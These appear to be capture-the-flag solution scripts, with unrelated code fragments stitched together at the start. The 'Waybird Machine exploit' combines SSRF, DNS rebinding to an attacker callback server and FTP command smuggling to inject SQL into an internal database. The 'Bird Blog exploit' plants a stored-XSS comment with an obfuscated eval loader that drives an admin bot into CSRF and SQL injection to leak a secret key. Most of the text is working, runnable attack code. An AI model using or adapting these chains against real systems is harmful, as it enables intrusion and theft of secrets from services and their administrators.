ALLOWED_SCHEMES = ["http", "https"]
BLOCKED_NETWORKS = [
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("169.254.0.0/16"),  # link-local / cloud metadata
    ipaddress.ip_network("::1/128"),
    ipaddress.ip_network("fc00::/7"),
    ipaddress.ip_network("fe80::/10")
]

def _validate_url(url):
    parsed = urlparse(url)
    if parsed.scheme not in ALLOWED_SCHEMES:
        raise ScrapeError(f"Unsupported URL scheme: {parsed.scheme}")

    hostname = parsed.hostname
    if not hostname:
        raise ScrapeError("URL has no hostname")
   
    try:
        resolved = socket.getaddrinfo(hostname, None)
    except socket.gaierror:
        raise ScrapeError(f"Cannot resolve hostname: {hostname}")
    
    for family, _, _, _, sockaddr in resolved:
        ip = ipaddress.ip_address(sockaddr[0])

        if isinstance(ip, ipaddress.IPv6Address) and ip.ipv4_mapped is not None:
            ip = ip.ipv4_mapped
        
        for network in BLOCKED_NETWORKS:
            if ip in network:
                raise ScrapeError("Access to private/internal addresses is not allowed")
    
    return parsed

def _fetch(url, auth_user, auth_pass):
    try:
        r = requests.get(url, allow_redirects=False)
        if r.status_code == 401:
            r.close()
            auth_header = r.headers.get("WWW-Authenticate", "").lower()
            if "basic" in auth_header:
                r = requests.get(url, auth=HTTPBasicAuth(auth_user, auth_pass), allow_redirects=False)
            elif "digest" in auth_header:
                r = requests.get(url, auth=HTTPDigestAuth(auth_user, auth_pass), allow_redirects=False)
            else:
                raise ScrapeError(f"Unsupported auth method {auth_header}")
        r.raise_for_status()
        return r
    except requests.ConnectionError:
        raise ScrapeError("Could not connect to the server. Check the URL and try again.")
    ...

def scrape(url, auth_user, auth_pass):
    _validate_url(url)
    
    r = _fetch(url, auth_user, auth_pass)
    ...

r = (
    b"HTTP/1.1 401 Unauthorized\r\n"
    b'WWW-Authenticate: Digest realm="waybird", nonce="nonce", '
    b'algorithm=MD5, qop="auth"\r\n'
    b"Content-Length: 0\r\n"
    b"Connection: close\r\n\r\n"
)

buflimit = 2048
if self._in_buffer_len > buflimit:
    self.respond_w_warning("500 Command too long.")
    self._in_buffer = []
    self._in_buffer_len = 0

REMOTE_OFFSETS = [65536, 131072, 196608, 262144, 327680, 393216]
SELF_HOSTED_OFFSETS = [65536, 131072, 194533, 260069, 289253, 354789]

UPLOAD_FOLDER = os.path.join(os.path.dirname(__file__), "app", "static", "scraped")

pymssql.connect(server='localhost', port=1433, user='babelfish_user', password='12345678')

packet.extend((";" + SQL).encode("utf-16le"))
packet[2:4] = len(packet).to_bytes(2, "big")

#!/usr/bin/env python3
import argparse
import html
import re
import secrets
import socketserver
import threading
import time
from urllib.parse import urljoin

import requests


SQL = "UPDATE flags SET is_hidden=0"

REMOTE_OFFSETS = [65536, 131072, 196608, 262144, 327680, 393216]
SELF_HOSTED_OFFSETS = [65536, 131072, 194533, 260069, 289253, 354789]

def ucs2(text):
    return text.encode("utf-16le")


def tds_packet(packet_type, payload, status=0x01, packet_id=0x01):
    length = 8 + len(payload)
    return (
        bytes([packet_type, status])
        + length.to_bytes(2, "big")
        + b"\x00\x00"
        + bytes([packet_id, 0x00])
        + payload
    )


PRELOGIN_PAYLOAD = (
    # option table: VERSION, ENCRYPTION, INSTOPT, THREADID, MARS, terminator
    bytes.fromhex(
        "00001a0006"
        "0100200001"
        "020021000c"
        "03002d0004"
        "0400310001"
        "ff"
    )
    + bytes.fromhex("090000000000")
    + b"\x00"
    + b"MSSQLServer"
    + bytes.fromhex("00b412000000")
)

PRELOGIN = tds_packet(0x12, PRELOGIN_PAYLOAD, packet_id=0x00)

LOGIN7_BODY = (
    bytes.fromhex(
        "1901000004000074001000000683f2f8b412000000000000e001"
        "001888ffffff360400005e000c0076000e0092000800a2000e00be000900"
        "d0000400d4000a00e8000a00fc000b00eead33aac8ad1201000012010000"
        "1201000000000000"
    )
    + ucs2("cdee43d07940")
    + ucs2("babelfish_user")
    + bytes.fromhex("b6a586a596a5e6a5f6a5c6a5d6a526a5")
    + ucs2("pymssql=2.3.13127.0.0.1")
    + bytes.fromhex("12010000")
    + ucs2("DB-Library")
    + ucs2("us_english")
    + ucs2("birdarchive")
    + bytes.fromhex("0a0100000001ff")
)

LOGIN7 = tds_packet(0x10, LOGIN7_BODY, packet_id=0x00)

INITIAL_SET_SQL = (
    "SET ARITHABORT ON;"
    "SET CONCAT_NULL_YIELDS_NULL ON;"
    "SET ANSI_NULLS ON;"
    "SET ANSI_NULL_DFLT_ON ON;"
    "SET ANSI_PADDING ON;"
    "SET ANSI_WARNINGS ON;"
    "SET ANSI_NULL_DFLT_ON ON;"
    "SET CURSOR_CLOSE_ON_COMMIT ON;"
    "SET QUOTED_IDENTIFIER ON;"
    "SET TEXTSIZE 2147483647;"
)

SQL_BATCH_PAYLOAD_PREFIX = bytes.fromhex(
    "16000000"
    "12000000"
    "02000000"
    "00000000"
    "00000100"
    "0000"
)

SET_BATCH = tds_packet(0x01, SQL_BATCH_PAYLOAD_PREFIX + ucs2(INITIAL_SET_SQL))


class CallbackHandler(socketserver.BaseRequestHandler):
    stage_path = ""
    stage_body = b""
    delay = 1.0
    markers = []
    hits = []

    def handle(self):
        data = bytearray()
        self.request.settimeout(3)
        while b"\r\n\r\n" not in data and len(data) < 12 * 1024 * 1024:
            try:
                chunk = self.request.recv(65536)
            except (TimeoutError, OSError):
                break
            if not chunk:
                break
            data += chunk

        raw = bytes(data)
        line = raw.split(b"\r\n", 1)[0].decode("latin1", "replace")
        has_auth = b"Authorization: Digest" in raw
        CallbackHandler.hits.append((time.time(), line, len(raw), has_auth))

        if has_auth:
            offsets = [raw.find(marker) for marker in CallbackHandler.markers]
            print("[cb] off", offsets, flush=True)

        path = "/"
        parts = line.split(" ")
        if len(parts) >= 2:
            path = parts[1]

        if path == CallbackHandler.stage_path:
            response = (
                b"HTTP/1.1 200 OK\r\n"
                b"Content-Type: application/octet-stream\r\n"
                + f"Content-Length: {len(CallbackHandler.stage_body)}\r\n".encode()
                + b"Connection: close\r\n\r\n"
                + CallbackHandler.stage_body
            )
        else:
            if CallbackHandler.delay > 0:
                time.sleep(CallbackHandler.delay)
            response = (
                b"HTTP/1.1 401 Unauthorized\r\n"
                b'WWW-Authenticate: Digest realm="waybird", nonce="nonce", '
                b'algorithm=MD5, qop="auth"\r\n'
                b"Content-Length: 0\r\n"
                b"Connection: close\r\n\r\n"
            )

        try:
            self.request.sendall(response)
        except OSError:
            pass


class ThreadedServer(socketserver.ThreadingTCPServer):
    allow_reuse_address = True


class Client:
    def __init__(self):
        self.session = requests.Session()

    def request(self, method, url, data=None, timeout=30):
        resp = self.session.request(
            method,
            url,
            data=data,
            allow_redirects=True,
            timeout=timeout,
        )
        resp.raise_for_status()
        return resp.status_code, resp.text

    def try_request(self, *args, **kwargs):
        try:
            return self.request(*args, **kwargs)
        except requests.RequestException as exc:
            return None, str(exc)


def parse_args():
    parser = argparse.ArgumentParser(description="Waybird Machine exploit")
    parser.add_argument("--target", required=True, 
                        help="challenge base URL")
    parser.add_argument("--attacker", required=True, 
                        help="public attacker IP or host")
    parser.add_argument("--bind", default="0.0.0.0",
                        help="callback bind address")
    parser.add_argument("--port", type=int, default=21,
                        help="callback port")
    parser.add_argument("--offsets", default="self-hosted",
                        help="'remote', 'self-hosted', or comma-separated offsets")
    parser.add_argument("--after", type=int, default=4,
                        help="1u.ms rebind after N times")
    parser.add_argument("--rebind-to", default="127.0.0.1",
                        help="rebind target IP")
    parser.add_argument("--username-len", type=int, default=6 * 1024 * 1024,
                        help="Digest username length")
    parser.add_argument("--padding", type=int, default=1_000_000,
                        help="NUL padding appended to staged TDS payload")
    parser.add_argument("--tries", type=int, default=10,
                        help="number of scrape attempts with one rebind hostname")
    parser.add_argument("--delay", type=float, default=1.0,
                        help="delay before non-stage 401 responses")
    parser.add_argument("--staged", default="",
                        help="reuse an existing staged .strimg filename")
    parser.add_argument("--token", help="custom token for callback/rebind names")
    return parser.parse_args()


def main():
    args = parse_args()
    client = Client()
    token = args.token or secrets.token_hex(4)
    if args.offsets == "remote":
        offsets = REMOTE_OFFSETS
    elif args.offsets == "self-hosted":
        offsets = SELF_HOSTED_OFFSETS
    else:
        offsets = [int(part) for part in args.offsets.split(",") if part.strip()]

    stage_path = f"/stage-{token}.strimg"
    stage_url = f"http://{args.attacker}:{args.port}{stage_path}"
    rebind_host = (
        f"w{token}-make-{args.attacker}-rebindfor45safter{args.after}times-"
        f"{args.rebind_to}-rr-x{token}.1u.ms"
    )
    exploit_url = f"http://{rebind_host}:21\\@1.1.1.1/x.strimg"

    packet = bytearray(SET_BATCH)
    packet.extend((";" + SQL).encode("utf-16le"))
    packet[2:4] = len(packet).to_bytes(2, "big")

    CallbackHandler.stage_path = stage_path
    CallbackHandler.stage_body = PRELOGIN + LOGIN7 + bytes(packet) + b"\0" * args.padding
    CallbackHandler.delay = args.delay
    CallbackHandler.hits = []

    server = ThreadedServer((args.bind, args.port), CallbackHandler)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()

    try:
        print("[*] STAGE_URL:", stage_url, flush=True)
        print("[*] EXPLOIT_URL:", exploit_url, flush=True)

        if args.staged:
            staged_file = args.staged
        else:
            client.request(
                "POST",
                urljoin(args.target.rstrip("/") + "/", "scrape"),
                {"url": stage_url, "username": "", "password": "x"},
                timeout=120,
            )
            _, page = client.request("GET", args.target.rstrip("/") + "/", timeout=30)
            decoded = html.unescape(page)
            idx = decoded.find(stage_url)
            staged_file = ""
            if idx != -1:
                window = decoded[max(0, idx - 3000):idx]
                matches = re.findall(r"scraped/([0-9a-f]{32}\.strimg)", window)
                if matches:
                    staged_file = matches[-1]
            if not staged_file:
                matches = re.findall(r"scraped/([0-9a-f]{32}\.strimg)", decoded)
                if not matches:
                    raise SystemExit("no staged .strimg file found")
                staged_file = matches[0]
        print("[*] file", staged_file, flush=True)

        cursor = 0
        username_bytes = bytearray()
        sink = f"tds-{secrets.token_hex(4)}.bin"
        commands = [
            b"USER anonymous",
            b"PASS x",
            b"TYPE I",
            b"PORT 127,0,0,1,5,153",
            f"RETR {staged_file}".encode(),
            f"STOR {sink}".encode(),
        ]
        CallbackHandler.markers = commands
        prefix = 191 + (len(rebind_host) - len("rb.test"))

        for command, target_offset in zip(commands, offsets):
            position = target_offset - prefix
            if position < cursor:
                raise SystemExit("bad offset configuration")
            username_bytes += b"A" * (position - cursor)
            username_bytes += command + b"\r\n\t"
            cursor = position + len(command) + 3

        if len(username_bytes) > args.username_len:
            raise SystemExit("username payload is longer than --username-len")
        username_bytes += b"A" * (args.username_len - len(username_bytes))
        username = username_bytes.decode()
        print("[*] user", len(username), flush=True)

        for attempt in range(1, args.tries + 1):
            CallbackHandler.hits.clear()
            print("[*] try", attempt, flush=True)

            status, page = client.try_request(
                "POST",
                urljoin(args.target.rstrip("/") + "/", "scrape"),
                {"url": exploit_url, "username": username, "password": "x"},
                timeout=120,
            )
            if status is None:
                print("[!]", page, flush=True)
            else:
                messages = re.findall(r'<span class="flash-text">([^<]+)</span>', page)
                for message in [html.unescape(value) for value in messages]:
                    print("[flash]", message, flush=True)

            time.sleep(1)
            for ts, line, size, has_auth in CallbackHandler.hits:
                marker = " auth" if has_auth else ""
                print(
                    "[cb]",
                    time.strftime("%H:%M:%S", time.localtime(ts)),
                    size,
                    marker,
                    line,
                    flush=True,
                )

            _, page = client.request("GET", args.target.rstrip("/") + "/", timeout=30)
            flags = sorted(set(re.findall(r"[A-Za-z0-9_]+\{[^}<\n\r]{1,240}\}", page)))
            if flags:
                print("\n".join(flags), flush=True)
                return
    finally:
        server.shutdown()
        server.server_close()


if __name__ == "__main__":
    main()

app.get("/", async (request, reply) => {
    try {
        const [{ posts }] = await executeQuery("blog/archive", [0]);
		return reply.view("index.hbs", { posts });
	} catch (err) {
		console.error(err);
		return reply.status(500).send("Internal Server Error");
	}
});

#!/usr/bin/env python3
import argparse
import html
import json
import re
import time
import uuid
import base64
from urllib.parse import urlencode, urljoin
from urllib.request import Request, build_opener


def norm(url):
    return url.rstrip("/") + "/"


class Client:
    def __init__(self):
        self.opener = build_opener()

    def request(self, method, url, data=None, timeout=15):
        body, headers = None, {}
        if data is not None:
            body = urlencode(data).encode()
            headers["Content-Type"] = "application/x-www-form-urlencoded"
        req = Request(url, data=body, headers=headers, method=method)
        resp = self.opener.open(req, timeout=timeout)
        return resp.status, resp.read().decode("utf-8", "replace")

    def try_request(self, *args, **kwargs):
        try:
            return self.request(*args, **kwargs)
        except Exception as exc:
            return None, str(exc)


def percent_encode(s):
    return "".join(f"%{b:02x}" for b in s.encode())


PAYLOAD_JS = r'''void(async()=>{const B=BLOG_URL,A=ADMIN_URL,M=MARKER_VAL,P=POSITION_LIST,S=t=>new Promise(r=>setTimeout(r,t));if(location.origin!==new URL(B).origin){location.href=new URL(location.pathname+location.search+location.hash,B);return}async function T(s){let b=await crypto.subtle.digest("SHA-256",new TextEncoder().encode("s:"+s));return"s;"+[...new Uint8Array(b)].map(x=>x.toString(16).padStart(2,"0")).join("")}async function R(p,x,c){let s="csrf-"+M+"-"+Math.random();document.cookie="_csrf="+s+"; Path="+c+"; SameSite=Strict";x.csrfToken=await T(s);return fetch(new URL(p,A),{method:"POST",mode:"no-cors",credentials:"include",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:new URLSearchParams(x)}).catch(()=>{})}const m={"\\":"⳹","|":"‖","(":"⸨",")":"⸩","+":"‡","'":"ʺ",".":"࠲",":":"࠴","@":"᭾","[":"⎶","]":"ʭ","{":"⧚","}":"⧛","<":"«",">":"»","=":"≅","!":"‼","?":"‽","`":"˵","~":"῁","*":"ᕯ"};function e(s){let o="";for(let i=0;i<s.length;i++)s[i]=="-"&&s[i+1]=="-"?(o+="± a",i++):o+=m[s[i]]||s[i];return o}function h(s){return[...new TextEncoder().encode(s)].map(x=>"chr("+x+")").join("||")}function q(p){let k="(select secret_key from secret_key)",c=i=>"coalesce(ascii(nullif(substr("+k+","+i+",1),'')),0)";return"((("+c(p)+"*128+"+c(p+1)+")*128+"+c(p+2)+")*128+"+c(p+3)+")"}function g(p){let i="select to_tsvector(setval('posts_id_seq',"+q(p)+",false)::text)",j="||(select((ts_stat("+h(i)+")).word)))--";return["*migration","*"+e("x\\"),"*"+e(j),"*__proto__/minify","*__proto__/debug","⳼"].join(",")}for(let p of P){await R("/configure",{title:"x",theme:"raven",categories:g(p),inNavPosts:""},"/configure");await S(300);await fetch(B,{mode:"no-cors",credentials:"include"}).catch(()=>{});await S(150);await R("/posts/create",{title:M+"-"+p,content:"x",categories:"migration"},"/posts");await S(250)}})()'''


def build_stage(blog, admin, marker, length):
    positions = list(range(1, length + 1, 4))
    return (
        PAYLOAD_JS
        .replace("BLOG_URL", json.dumps(norm(blog)))
        .replace("ADMIN_URL", json.dumps(norm(admin)))
        .replace("MARKER_VAL", json.dumps(marker))
        .replace("POSITION_LIST", json.dumps(positions))
    )


def build_comment(payload):
    loader = (
        'void(eval(new TextDecoder().decode(Uint8Array.from('
        'atob(document.body.innerText.split("PAYLOAD:")[1].trim()),'
        'c=>c.charCodeAt(0)))))'
    )
    loc = "window[/loca/.source+/tion/.source]"
    encoded_payload = base64.b64encode(payload.encode()).decode()
    onerror = f"{loc}=/javascript:{percent_encode(loader)}/.source//"
    return (
        f"![x [y](http://a/b) z](http://x/onerror={onerror})"
        f"\n\nPAYLOAD:{encoded_payload}"
    )

def collect_ids(client, blog, marker, length, wait):
    want = set(range(1, length + 1, 4))
    found = {}
    deadline = time.time() + wait
    pattern = re.compile(
        rf'href=["\']/post/(\d+)["\'][^>]*>\s*{re.escape(marker)}-(\d+)\s*<',
        re.I,
    )
    pages = max(4, (len(want) + 9) // 10 + 3)
    while time.time() < deadline and want - found.keys():
        for page in range(1, pages):
            path = "" if page == 1 else f"archive/{page}"
            status, body = client.try_request("GET", urljoin(blog, path), timeout=10)
            if status == 200:
                for post_id, pos in pattern.findall(html.unescape(body)):
                    found[int(pos)] = int(post_id)
        if want - found.keys():
            time.sleep(3)
    return found


def decode_chunk(packed):
    out = ""
    for shift in (128**3, 128**2, 128, 1):
        ch, packed = divmod(packed, shift)
        if ch:
            out += chr(ch)
    return out


def parse_args():
    p = argparse.ArgumentParser(description="Bird Blog exploit")
    p.add_argument("--blog", default="http://localhost:8080",
                   help="public blog URL")
    p.add_argument("--flag", default="http://localhost:1337",
                   help="public flag submission URL")
    p.add_argument("--local-blog", default="http://localhost:8080",
                   help="blog URL as seen from inside the bot container")
    p.add_argument("--admin", default="http://localhost:8081",
                   help="admin URL as seen from inside the bot container")
    p.add_argument("--post-id", type=int, default=1,
                   help="post id to drop the stored-XSS comment on")
    p.add_argument("--length", type=int, default=64,
                   help="SECRET_KEY length in bytes")
    p.add_argument("--wait", type=int, default=150,
                   help="seconds to wait for the bot + extraction posts")
    p.add_argument("--marker", help="custom marker; default: random")
    p.add_argument("--no-submit", action="store_true",
                   help="recover SECRET_KEY but do not submit to flag service")
    return p.parse_args()


def main():
    args = parse_args()
    blog = norm(args.blog)
    flag_svc = norm(args.flag)
    client = Client()

    post_id = args.post_id
    marker = args.marker or ("x" + uuid.uuid4().hex[:8])
    print(f"[*] post={post_id} marker={marker} length={args.length}")

    stage = build_stage(args.local_blog, args.admin, marker, args.length)
    comment = build_comment(stage)
    if re.search(r"cat", comment, re.I):
        raise SystemExit("payload contains 'cat'; bot would reject it")

    print(f"[*] stage bytes={len(stage.encode())} comment bytes={len(comment.encode())}")
    print("[*] submitting stored-XSS comment")
    client.request(
        "POST",
        urljoin(blog, f"post/{post_id}/comments"),
        {"author": "x", "content": comment},
    )

    print(f"[*] waiting up to {args.wait}s for bot extraction posts")
    time.sleep(min(45, args.wait))
    ids = collect_ids(client, blog, marker, args.length,
                      max(1, args.wait - min(45, args.wait)))

    missing = sorted(set(range(1, args.length + 1, 4)) - ids.keys())
    if missing:
        print("[!] missing positions:", missing)
        raise SystemExit("retry on a fresh instance; do not preload / or /archive first")

    too_small = {pos: ids[pos] for pos in ids if ids[pos] < 128**3}
    if too_small:
        print("[!] marker post ids too small to be packed secret chunks:")
        for pos in sorted(ids):
            print(f"    pos {pos:02d} -> id {ids[pos]}")
        raise SystemExit("SQLi did not update posts_id_seq; pollution likely lost")

    secret = "".join(decode_chunk(ids[i]) for i in sorted(ids))[: args.length]
    print(f"[+] SECRET_KEY: {secret!r}")

    if not secret or any(ord(c) < 32 or ord(c) > 126 for c in secret):
        raise SystemExit("recovered SECRET_KEY is empty or non-printable")

    if args.no_submit:
        return

    print("[*] submitting SECRET_KEY to flag service")
    _, body = client.request("POST", urljoin(flag_svc, "submit"),
                             {"secretKey": secret})
    match = re.search(r"<code>(.*?)</code>", body, re.S)
    if not match:
        print(body[:500])
        raise SystemExit("flag service did not return a <code> block")
    print(html.unescape(match.group(1).strip()))


if __name__ == "__main__":
    main()